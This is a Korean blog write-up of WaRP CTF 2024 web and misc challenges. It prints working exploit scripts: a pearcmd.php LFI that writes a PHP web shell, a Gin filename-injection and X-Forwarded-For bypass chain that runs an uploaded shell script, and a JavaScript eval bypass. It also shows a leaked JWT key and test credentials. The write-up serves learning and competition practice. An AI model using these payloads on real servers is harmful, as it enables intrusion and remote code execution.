WaRP CTF 2024 Write Up
WaRP CTF 2024 Write Up(web/misc)
WaRP CTF 2024
경기과학고등학교에서 주최한 WaRP CTF에 참여했다.
웹 문제가 정말 재밌어서 출제자님을 존경한다.
참고로 tuplest의 블로그를 보고 가독성이 훨씬 낫다고 생각해서 블로그를 옮겼다. - 딱히 버스는 아니다.
WEB
I Like Pear
Probably not the pear you’re thinking of .. 🤔
제목이랑 설명부터 php의 PEAR를 사용하라고 말하고 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
FROM php:8.0-apache
RUN apt update && apt install gcc
RUN rm -rf /var/www/html/*
COPY flag.txt /flag.txt
COPY readflag.c /tmp/readflag.c
RUN chmod 440 /flag.txt
RUN gcc /tmp/readflag.c -o /readflag
RUN rm /tmp/readflag.c
RUN chmod 2555 /readflag
COPY src /var/www/html/
RUN chmod 555 /var/www/html
RUN ln -sf /dev/null /var/log/apache2/access.log && \
ln -sf /dev/null /var/log/apache2/error.log
USER root
EXPOSE 80
플래그는 /flag.txt
에 존재하고 해당 docker base에는 PEAR가 포함되어있다.
1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set("session.upload_progress.enabled", "Off");
ini_set("file_uploads", "Off");
ini_set('display_errors', '0');
if(isset($_GET["file"])) {
if (preg_match("/^(file:|http:|ftp:|zlib:|data:|glob:|phar:|zip:|expect:|php:)/i", $_GET["file"])) {
die("HAHA... 😀");
}
include($_GET["file"]);
}
?>
file파라미터 값을 검증한 후 include해준다.
upload_progress
, file_uploads
가 막혀있어서 이 둘을 통한 Race Condition - LFI - RCE는 불가능 해 보인다.
구글링을 통해 다음 링크를 찾았다.
이를 토대로 페이로드를 짤 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import http.client
import re
conn = http.client.HTTPConnection("host1.dreamhack.games", 14776)
cmd = "<?die(system($_GET['cmd']))?>"
path = f"/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/{cmd}+/tmp/sh.php"
conn.request("GET", path)
conn.getresponse().read()
conn.request("GET", '/?file=/tmp/sh.php&cmd=/readflag')
data = conn.getresponse().read().decode()
conn.close()
flag = re.findall(r'WaRP{[^}]+}', data)[0]
print(flag)
admin console
Gin을 마시며 플래그를 획득하세요
요즘들어 golang과 Go의 웹 프레임워크인 Gin을 활용한 문제가 많이 출제되는 것 같다.
언인텐이 없었다면 살짝 더 어려웠던 문제이다.
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package main
import (
"database/sql"
"log"
"os"
"admin-console/database"
"admin-console/routes"
_ "github.com/mattn/go-sqlite3"
"golang.org/x/crypto/bcrypt"
)
type User struct {
Username string
Password string
}
func createAdmin(db *sql.DB) bool {
user := "REDACTED"
pw := "REDACTED"
hashedPassword, _ := bcrypt.GenerateFromPassword([]byte(pw), bcrypt.DefaultCost)
_, err := db.Exec("INSERT INTO users (username, password) VALUES (?, ?)",
user, string(hashedPassword))
return err == nil
}
func main() {
dbPath := os.Getenv("DB_PATH")
if dbPath == "" {
dbPath = "database.sqlite"
}
var err error
database.DBCon, err = sql.Open("sqlite3", dbPath)
if err != nil {
log.Fatal(err)
}
defer database.DBCon.Close()
_, err = database.DBCon.Exec(`
CREATE TABLE IF NOT EXISTS users (
username TEXT PRIMARY KEY,
password TEXT NOT NULL
)
`)
createAdmin(database.DBCon)
if err != nil {
log.Fatal(err)
}
routes.Run()
}
main.go
에서는 admin계정을 생성한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...
func getRoutes() {
router.TrustedProxies = []string{
"172.16.0.0/12",
"127.0.0.1",
"10.0.0.0/8",
}
router.LoadHTMLGlob("templates/*")
router.GET("/", middleware.ValidateJWT(), func(c *gin.Context) {
user := c.MustGet("username").(string)
c.HTML(http.StatusOK, "index.html", gin.H{"user": user, "logged": user != ""})
})
auth := router.Group("/auth")
addAuthRoutes(auth)
admin := router.Group("/admin", middleware.ForceJWT(), middleware.CheckLocalIp())
addAdminRoutes(admin)
router.GET("/uploads/:target/:file", func(c *gin.Context) {
target := c.Param("target")
file := c.Param("file")
route := path.Join("/app/uploads", target, file)
c.FileAttachment(route, file)
})
}
routes/main.go
를 보면 /uploads/:target/:file
경로에서 /app/uploads
폴더 하위의 파일을 다운받게 해준다.
c.FileAttachment에 CVE-2023-29401이 존재한다.
1
2
3
4
func (c *Context) FileAttachment(filepath, filename string) {
c.Writer.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=\"%s\"", filename))
http.ServeFile(c.Writer, c.Request, filepath)
}
위와 같이 구현되어 있어 malicious.sh";dummy=.txt
등을 삽입하여 검증을 우회할 수 있다.
또한 router.TrustedProxies
가 설정되어 있다. 하지만 X-Forwarded-For
헤더로 우회할 수 있다.
참고 : nginx.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
server {
listen 80;
server_name localhost;
location / {
proxy_pass http://app:8000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
...
func checkBannedKeyword(user string) bool {
banned_name := []string{
"KIMGILDONG123",
"'",
";",
"--",
}
user = strings.ToUpper(user)
for _, name := range banned_name {
if strings.Contains(user, name) {
return false
}
}
return true
}
func addAuthRoutes(rg *gin.RouterGroup) {
users := rg.Group("/login")
users.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "login.html", gin.H{})
})
users.POST("/", func(c *gin.Context) {
var user User
if err := c.ShouldBind(&user); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "Bad Request"})
return
}
if !checkBannedKeyword(user.Username) || !checkBannedKeyword(user.Password) {
c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid Character Included"})
return
}
name := user.Username
var storedUser User
var hashedPassword string
err := database.DBCon.QueryRow("SELECT username, password FROM users WHERE username = ?",
name).Scan(&storedUser.Username, &hashedPassword)
if err != nil {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"})
return
}
err = bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(user.Password))
if err != nil {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"})
return
}
key := []byte(os.Getenv("JWT_KEY"))
t := jwt.NewWithClaims(jwt.SigningMethodHS256,
jwt.MapClaims{
"username": name,
"exp": time.Now().Add(time.Hour * 2).Unix(),
})
s, _ := t.SignedString(key)
c.SetCookie("token", s, 7200, "/", "", false, false)
c.JSON(http.StatusOK, gin.H{"message": "Login successful"})
})
}
routes/auth.go
에서는 login을 관리하는데 L68에서 err을 재사용하는 취약점이 발생한다.
hxp 38C3 CTF: Fajny Jagazyn Wartości Kluczy
최근에 FMC에서 한 hxp 38C3 CTF에도 해당 취약점이 출제되었고 9 solve(Hard?)가 났다.
그러나 docker-compose.yml
에서 JWT_KEY=furicbhi3ufh348fhe34if
이 유출되어 언인텐이 터졌다.
그래서 로컬에서 admin계정 생성 후 로그인하여 토큰을 그대로 사용하면 된다.
(수정 - 2025.4.8) 코드 잘못 봤다. 그냥 트릭써서 test계정으로 로그인하면된다. (kİmgildong123/0p1q9o2w8i3e)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
...
func addAdminRoutes(rg *gin.RouterGroup) {
dashboard := rg.Group("/dashboard")
dashboard.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "dashboard.html", gin.H{})
})
upload := rg.Group("/upload")
upload.POST("/", func(c *gin.Context) {
// Handle multipart file upload separately
dst := "/app/uploads/client"
file, err := c.FormFile("file")
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "no file provided"})
return
}
if pathlib.Ext(file.Filename) != ".txt" {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid file extension"})
return
}
filename, err := url.QueryUnescape(pathlib.Base(file.Filename)) //! 취약함
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid filename"})
return
}
dst = pathlib.Join(dst, filename)
if err := c.SaveUploadedFile(file, dst); err != nil {
fmt.Println(err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to save file"})
return
}
c.JSON(http.StatusOK, gin.H{"message": "success"})
})
validate := rg.Group("/validate")
validate.POST("/", func(c *gin.Context) {
var req struct {
Path string `json:"path"`
}
if err := c.BindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})
return
}
err := bot.DownloadFile("http://"+pathlib.Join("localhost:8000/uploads/client/", req.Path), "/app/bot/jobs/")
if err != nil {
fmt.Println(err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed downloading file"})
return
}
c.JSON(http.StatusOK, gin.H{"message": "success"})
})
healthcheck := rg.Group("/healthcheck")
healthcheck.POST("/", func(c *gin.Context) {
var req struct {
Target string `json:"target"`
}
if err := c.BindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})
return
}
res := bot.Healthcheck(req.Target)
c.JSON(http.StatusOK, gin.H{"response": res})
})
}
routes/admin.go
에는 기능이 많은데
- /dashboard
- /upload :
.txt
확장자를 가진 파일 업로드 - /validate : 취약한
c.FileAttachment
를 이용해서 /app/bot/jobs/에 파일 다운로드 - /healthcheck :
/app/bot/jobs/{target}.sh
실행
- /upload :
1
2
3
4
5
6
7
8
9
10
11
func DownloadFile(url, saveDir string) error {
...
filename := ""
cd := resp.Header.Get("Content-Disposition")
pattern := `filename="([^"]+)"`
r := regexp.MustCompile(pattern)
match := r.FindStringSubmatch(cd)
filename = match[1]
...
}
DownloadFile을 살펴보면 filename="{filename}"
과 같이 파싱하므로 위에서 찾은 취약점을 이용하여 .sh파일로 인식되게 할 수 있다.
최종 페이로드는 다음과 같다. (Race Condition을 적용하지 않은.)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests as req
from urllib.parse import quote
url = 'http://host3.dreamhack.games:12826'
# JWT_KEY=furicbhi3ufh348fhe34if
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzUyOTgyODIsInVzZXJuYW1lIjoiUkVEQUNURUQifQ.qV2ZHYw7Wu65B5HNtDovkGm9OngxYsWXWthpkfFmrwU'
headers = {'X-Forwarded-For': '127.0.0.1'}
cookies = {'token': token}
res = req.post(f'{url}/admin/upload', files={'file': (quote('dummy.sh".txt'), b'cat /app/FLAG > /app/uploads/client/flag')}, headers=headers, cookies=cookies)
print(res.text)
res = req.post(f'{url}/admin/validate', json={'path': 'dummy.sh".txt'}, headers=headers, cookies=cookies)
print(res.text)
res = req.post(f'{url}/admin/healthcheck', json={'target': 'dummy'}, headers=headers, cookies=cookies)
print(res.text)
res = req.get(f'{url}/uploads/client/flag', headers=headers, cookies=cookies)
print(res.text)
themeviewer
viewer, board 이런 제목이 정말 두렵다.
flag
는 index.js
에 하드코딩 되어있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
const express = require("express");
const jwt = require("jsonwebtoken");
const fs = require("fs");
const sshpk = require("sshpk");
const cookieParser = require("cookie-parser");
const app = express();
app.set("view engine", "ejs");
app.use(express.json());
app.use(cookieParser());
const PRIVATE_KEY = fs.readFileSync("private").toString();
const PUBLIC_KEY = fs.readFileSync("public.pub").toString();
const default_theme = {
dark: {
colors: {
background: "#121212",
text: "#ffffff"
}
},
light: {
colors: {
background: "#ffffff",
text: "#121212"
}
}
};
let users = {
admin: "REDACTED"
};
class ThemeManager {
static merge(target, source) {
for (let key in source) {
if (source[key] && typeof source[key] === "object") {
target[key] = target[key] || {};
this.merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
static createTheme(base, customizations = {}) {
const theme = base ? { ...default_theme[base] } : {};
return this.merge(theme, customizations);
}
}
const parseKey = (keytype, Key, options = { format }) => {
let key;
if (keytype === "private") {
key = sshpk.parsePrivateKey(Key, "ssh");
} else {
key = sshpk.parseKey(Key, "ssh", { filename: "publickey" });
}
return key.toString(options.format || "pkcs8");
};
app.get("/login", (req, res) => {
res.render("login");
});
app.get("/", (req, res) => {
let user = "";
try {
const token = req.cookies["token"];
const decoded = jwt.verify(token, parseKey("public", PUBLIC_KEY));
user = decoded.user;
} catch (e) {
user = "";
}
res.render("dashboard", { user: user });
});
app.get("/admin", (req, res) => {
const token = req.cookies["token"];
try {
const decoded = jwt.verify(token, parseKey("public", PUBLIC_KEY));
if (decoded.user === "admin") {
res.render("admin", { flag: "WaRP{REDACTED}" });
} else {
res.status(403).json({ error: "access denied" });
}
} catch (err) {
res.status(401).json({ error: "invalid token" });
}
});
//api codes
app.post("/api/theme", (req, res) => {
const { base, customizations } = req.body;
try {
const theme = ThemeManager.createTheme(base, customizations);
res.json({ success: true, theme: theme });
} catch (err) {
res.status(400).json({ error: "invalid theme" });
}
});
app.post("/api/login", (req, res) => {
const { username, password } = req.body;
console.log(username, password, users[username]);
if (username in users && users[username] === password) {
const payload = {
user: username
};
const token = jwt.sign(
payload,
parseKey("private", PRIVATE_KEY, { format: "pkcs8" }),
{ algorithm: "ES256" }
);
res.cookie("token", token);
res.json({ token });
} else {
res.status(401).json({ error: "invalid credentials" });
}
});
app.listen(8000, () => {
console.log("running on port 8000");
});
ThemeManager.merge()
에서 pp가 발생한다.
언인텐은 무지성 ejs RCE이다…
그러나 재미없으므로 인텐 풀이를 살펴보자.
사용되는 jsonwebtoken 버전은 9.0.2이므로 Algorithm confusion attack
은 존재하지 않는다.
1
2
3
4
5
6
7
8
9
const parseKey = (keytype, Key, options = {}) => {
let key;
if (keytype === "private") {
key = sshpk.parsePrivateKey(Key, "ssh");
} else {
key = sshpk.parseKey(Key, "ssh", { filename: "publickey" });
}
return key.toString(options.format || "pkcs8");
};
하지만 이 함수가 누가봐도 수상해보이고 취약하다.
options.format
이 초기화되지 않으므로 pp가 발생한다.
— 이 이후부터는 내가 푼게 아니므로 적지 않는다. —
MISC
justeval
eval is a scary function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const fs = require("fs");
const express = require("express");
const port = 8000;
const flag = fs.readFileSync("flag.txt", "utf8");
const app = express();
app.use(express.urlencoded({ extended: false }));
app.get("/", (req, res) => {
res.send(`I am so lazy to make a frontend :)`);
});
app.get("/flag", (req, res) => {
res.send(`WaRP{REDACTED}`);
});
app.post("/", (req, res) => {
const input_str = req.body.input_str.toString() || "";
if (!input_str.includes("[") && !input_str.includes("]")) {
if (
!input_str.includes("+") ||
input_str
.split("+")
.slice(1)
.every((part) => part.startsWith("="))
) {
if (
input_str.length <= 6 &&
eval(input_str) > 0 == false &&
(eval(input_str) == 0) == false &&
eval(input_str) >= 0 == true
) {
res.redirect("/flag");
}
}
}
res.redirect("/");
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
드림핵 UCC CTF에 출제된 문제의 진화 버전이다. (이게 MISC인가…?)
[]
의 사용이 막혀있고 +
는 +=
와 같이 사용할 수 있다.
평범하게 RCE를 할려고 했는데 +
가 막혀있고, +=
를 활용하자니 eval이 3번 실행되어 rccceee
와 같이 작동하는 문제가 생겼다.
eval(input_str) > 0 == false
이 조건문에서 멈춰야 하므로 양수를 리턴해야 한다.
1
2
3
4
5
6
a = "F";
b = "L";
eval("a+=b"); // FL
a = "F";
b = "L";
eval("a+=b;1"); // 1
JS eval은 다음과 같이 동작하기 떄문에 우회할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
import requests as req
import string
url = 'http://host1.dreamhack.games:23344'
# url = 'http://localhost:8000'
payload = '''throw Error(f)'''
def send(c):
res = req.post(url, data={'input_str': c}, allow_redirects=False)
return res.text
send('e=eval')
send('f=flag')
send('a=""')
for c in payload:
send(f'b="{c}"')
send(f'a+=b;1')
res = req.post(url, data={'input_str': 'r=req'}, allow_redirects=False)
flag = send(f'e(a)')
flag = re.findall(r'WaRP\{[a-zA-Z0-9]*\}', flag)[0]
print(flag)
Review
해킹 대회에서 처음으로 1등을 했는데 매우 기분 좋다!
다른 분야에 비해 웹이 쉽게 나와서 많이 풀었지만 admin console
은 경험이 부족하거나 언인텐이 없었다면 못 풀었을 수도 있다.